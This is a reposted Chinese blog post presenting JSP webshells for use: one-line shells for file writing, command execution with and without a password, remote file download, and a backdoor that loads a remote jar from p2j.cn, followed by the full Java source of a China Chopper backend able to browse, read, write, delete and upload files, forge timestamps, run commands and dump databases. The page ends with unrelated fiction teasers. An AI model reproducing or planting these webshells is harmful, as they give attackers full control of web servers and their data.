JSP一句话木马

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>

保存为1.jsp

提交url为 http://localhost/1.jsp?f=1.txt&;t=hello

访问http://localhost/1.txt 出来hello

一:执行系统命令:

无回显执行系统命令:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。

有回显带密码验证的:

<%

   if("023".equals(request.getParameter("pwd"))){

        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

        int a = -1;

        byte[] b = new byte[2048];

        out.print("<pre>");

        while((a=in.read(b))!=-1){

            out.println(new String(b));

        }

        out.print("</pre>");

    }

%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的:

1:

<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

<%

    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

    byte[] b = new byte[1024];

    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

    int a = -1;

    while ((a = in.read(b)) != -1) {

        baos.write(b, 0, a);

    }

    new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<%

    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

    byte[] b = new byte[1024];

    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

    int a = -1;

    while ((a = in.read(b)) != -1) {

        baos.write(b, 0, a);

    }

    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

%>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar,密码023.

解:

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。

Load代码:

import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {


    public static String load(Map<String,String[]> map){

        try {

            Map<String,String> request = new HashMap<String,String>();

            for (Entry<String, String[]> entrySet : map.entrySet()) {

                String key = entrySet.getKey();

                String value = entrySet.getValue()[0];

                request.put(key, value);

            }

            return new Chopper().doPost(request);

        } catch (IOException ex) {

            return ex.toString();

        }

    }

}

Chopper代码:

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStreamWriter;

import java.lang.reflect.Method;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLClassLoader;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.ResultSet;

import java.sql.ResultSetMetaData;

import java.sql.Statement;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Map;

public class Chopper{

    public static String getPassword() throws IOException {

        return "023";

    }

    String cs = "UTF-8";

    String encoding(String s) throws Exception {

        return new String(s.getBytes("ISO-8859-1"), cs);

    }

    Connection getConnection(String s) throws Exception {

        String[] x = s.trim().split("\r\n");

        try {

            Class.forName(x[0].trim());

        } catch (ClassNotFoundException e) {

            boolean classNotFound = true;

            BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));

            String str = "";

            while ((str = br.readLine()) != null) {

                String[] arr = str.split("=");

                if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {

                    try {

                        URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();

                        Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);

                        m.setAccessible(true);

                        m.invoke(ucl, new Object[]{new URL(arr[1])});

                        Class.forName(arr[0].trim());

                        classNotFound = false;

                        break;

                    } catch (ClassNotFoundException ex) {

                        throw ex;

                    }

                }

            }

            if (classNotFound) {

                throw e;

            }

        }

        if (x[1].contains("jdbc:oracle")) {

            return DriverManager.getConnection(x[1].trim() + ":" + x[4],

                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

        } else {

            Connection c = DriverManager.getConnection(x[1].trim(),

                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

            if (x.length > 4) {

                c.setCatalog(x[4]);

            }

            return c;

        }

    }

    void listRoots(ByteArrayOutputStream out) throws Exception {

        File r[] = File.listRoots();

        for (File f : r) {

            out.write((f.getName()).getBytes(cs));

        }

    }

    void dir(String s, ByteArrayOutputStream out) throws Exception {

        File l[] = new File(s).listFiles();

        for (File f : l) {

            String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));

            String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");

            out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));

        }

    }

    void deleteFiles(File f) throws Exception {

        if (f.isDirectory()) {

            File x[] = f.listFiles();

            for (File fs : x) {

                deleteFiles(fs);

            }

        }

        f.delete();

    }

    byte[] readFile(String s) throws Exception {

        int n;

        byte[] b = new byte[1024];

        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        while ((n = bis.read(b)) != -1) {

            bos.write(b, 0, n);

        }

        bis.close();

        return bos.toByteArray();

    }

    void upload(String s, String d) throws Exception {

        String h = "0123456789ABCDEF";

        File f = new File(s);

        f.createNewFile();

        FileOutputStream os = new FileOutputStream(f);

        for (int i = 0; i < d.length(); i += 2) {

            os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));

        }

        os.close();

    }

    void filesMove(File sf, File df) throws Exception {

        if (sf.isDirectory()) {

            if (!df.exists()) {

                df.mkdir();

            }

            File z[] = sf.listFiles();

            for (File z1 : z) {

                filesMove(new File(sf, z1.getName()), new File(df, z1.getName()));

            }

        } else {

            FileInputStream is = new FileInputStream(sf);

            FileOutputStream os = new FileOutputStream(df);

            int n;

            byte[] b = new byte[1024];

            while ((n = is.read(b)) != -1) {

                os.write(b, 0, n);

            }

            is.close();

            os.close();

        }

    }

    void fileMove(File s, File d) throws Exception {

        s.renameTo(d);

    }

    void mkdir(File s) throws Exception {

        s.mkdir();

    }

    void setLastModified(File s, String t) throws Exception {

        s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime());

    }

    void downloadRemoteFile(String s, String d) throws Exception {

        int n = 0;

        FileOutputStream os = new FileOutputStream(d);

        HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection();

        InputStream is = h.getInputStream();

        byte[] b = new byte[1024];

        while ((n = is.read(b)) != -1) {

            os.write(b, 0, n);

        }

        os.close();

        is.close();

        h.disconnect();

    }

    void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception {

        int i = -1;

        byte[] b = new byte[1024];

        while ((i = is.read(b)) != -1) {

            out.write(b, 0, i);

        }

    }

    void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception {

        Connection c = getConnection(s);

        ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();

        while (r.next()) {

            out.write((r.getObject(1) + "\t").getBytes(cs));

        }

        r.close();

        c.close();

    }

    void getTableName(String s, ByteArrayOutputStream out) throws Exception {

        Connection c = getConnection(s);

        String[] x = s.trim().split("\r\n");

        ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});

        while (r.next()) {

            out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));

        }

        r.close();

        c.close();

    }

    void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {

        String[] x = s.trim().split("\r\n");

        Connection c = getConnection(s);

        ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();

        ResultSetMetaData d = r.getMetaData();

        for (int i = 1; i <= d.getColumnCount(); i++) {

            out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs));

        }

        r.close();

        c.close();

    }

    void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception {

        Connection c = getConnection(s);

        Statement m = c.createStatement(1005, 1008);

        BufferedWriter bw = null;

        try {

            boolean f = q.contains("--f:");

            ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q);

            ResultSetMetaData d = r.getMetaData();

            int n = d.getColumnCount();

            for (int i = 1; i <= n; i++) {

                out.write((d.getColumnName(i) + "\t|\t").getBytes(cs));

            }

            out.write(("\r\n").getBytes(cs));

            if (f) {

                File file = new File(p);

                if (!q.contains("-to:")) {

                    file.mkdir();

                }

                bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));

            }

            while (r.next()) {

                for (int i = 1; i <= n; i++) {

                    if (f) {

                        bw.write(r.getObject(i) + "" + "\t");

                        bw.flush();

                    } else {

                        out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs));

                    }

                }

                if (bw != null) {

                    bw.newLine();

                }

                out.write(("\r\n").getBytes(cs));

            }

            r.close();

            if (bw != null) {

                bw.close();

            }

        } catch (Exception e) {

            out.write(("Result\t|\t\r\n").getBytes(cs));

            try {

                m.executeUpdate(q);

                out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs));

            } catch (Exception ee) {

                out.write((ee.toString() + "\t|\t\r\n").getBytes(cs));

            }

        }

        m.close();

        c.close();

    }

    public String doPost(Map<String,String>request) throws IOException {

        cs = request.get("z0") != null ? request.get("z0") + "" : cs;

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        try {

            char z = (char) request.get(getPassword()).getBytes()[0];

            String z1 = encoding(request.get("z1") + "");

            String z2 = encoding(request.get("z2") + "");

            out.write("->|".getBytes(cs));

            String s = new File("").getCanonicalPath();

            byte[] returnTrue = "1".getBytes(cs);

            switch (z) {

                case 'A':

                    out.write((s + "\t").getBytes(cs));

                    if (!s.substring(0, 1).equals("/")) {

                        listRoots(out);

                    }

                    break;

                case 'B':

                    dir(z1, out);

                    break;

                case 'C':

                    String l = "";

                    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

                    while ((l = br.readLine()) != null) {

                        out.write((l + "\r\n").getBytes(cs));

                    }

                    br.close();

                    break;

                case 'D':

                    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

                    bw.write(z2);

                    bw.flush();

                    bw.close();

                    out.write(returnTrue);

                    break;

                case 'E':

                    deleteFiles(new File(z1));

                    out.write("1".getBytes(cs));

                    break;

                case 'F':

                    out.write(readFile(z1));

                case 'G':

                    upload(z1, z2);

                    out.write(returnTrue);

                    break;

                case 'H':

                    filesMove(new File(z1), new File(z2));

                    out.write(returnTrue);

                    break;

                case 'I':

                    fileMove(new File(z1), new File(z2));

                    out.write(returnTrue);

                    break;

                case 'J':

                    mkdir(new File(z1));

                    out.write(returnTrue);

                    break;

                case 'K':

                    setLastModified(new File(z1), z2);

                    out.write(returnTrue);

                    break;

                case 'L':

                    downloadRemoteFile(z1, z2);

                    out.write(returnTrue);

                    break;

                case 'M':

                    String[] c = {z1.substring(2), z1.substring(0, 2), z2};

                    Process p = Runtime.getRuntime().exec(c);

                    inputStreamToOutPutStream(p.getInputStream(), out);

                    inputStreamToOutPutStream(p.getErrorStream(), out);

                    break;

                case 'N':

                    getCurrentDB(z1, out);

                    break;

                case 'O':

                    getTableName(z1, out);

                    break;

                case 'P':

                    getTableColumn(z1, out);

                    break;

                case 'Q':

                    executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");

                    break;

            }

        } catch (Exception e) {

            out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));

        }

        out.write(("|<-").getBytes(cs));

        return new String(out.toByteArray());

    }

}

map.txt:

oracle.jdbc.driver.OracleDriver=http://p2j.cn/jdbc/classes12.jar

com.mysql.jdbc.Driver=http://p2j.cn/jdbc/mysql-connector-java-5.1.14-bin.jar

com.microsoft.jdbc.sqlserver.SQLServerDriver=http://p2j.cn/jdbc/sqlserver2000/msbase.jar,http://p2j.cn/jdbc/sqlserver2000/mssqlserver.jar,http://p2j.cn/jdbc/sqlserver2000/msutil.jar

com.microsoft.sqlserver.jdbc.SQLServerDriver=http://p2j.cn/jdbc/sqljdbc4.jar

com.ibm.db2.jcc.DB2Driver=http://p2j.cn/jdbc/db2java.jar

com.informix.jdbc.IfxDriver=http://p2j.cn/jdbc/ifxjdbc.jar

com.sybase.jdbc3.jdbc.SybDriver=http://p2j.cn/jdbc/jconn3d.jar

org.postgresql.Driver=http://p2j.cn/jdbc/postgresql-9.2-1003.jdbc4.jar

com.ncr.teradata.TeraDriver=http://p2j.cn/jdbc/teradata-jdbc4-14.00.00.04.jar

com.hxtt.sql.access.AccessDriver=http://p2j.cn/jdbc/Access_JDBC30.jar

org.apache.derby.jdbc.ClientDriver=http://p2j.cn/jdbc/derby.jar

org.hsqldb.jdbcDriver=http://p2j.cn/jdbc/hsqldb.jar

net.sourceforge.jtds.jdbc.Driver=http://p2j.cn/jdbc/jtds-1.2.5.jar

mongodb=http://p2j.cn/jdbc/mongo-java-driver-2.9.3.jar


原文转自:http://p2j.cn/?p=1627

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,029评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,238评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,576评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,214评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,324评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,392评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,416评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,196评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,631评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,919评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,090评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,767评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,410评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,090评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,328评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,952评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,979评论 2 351

推荐阅读更多精彩内容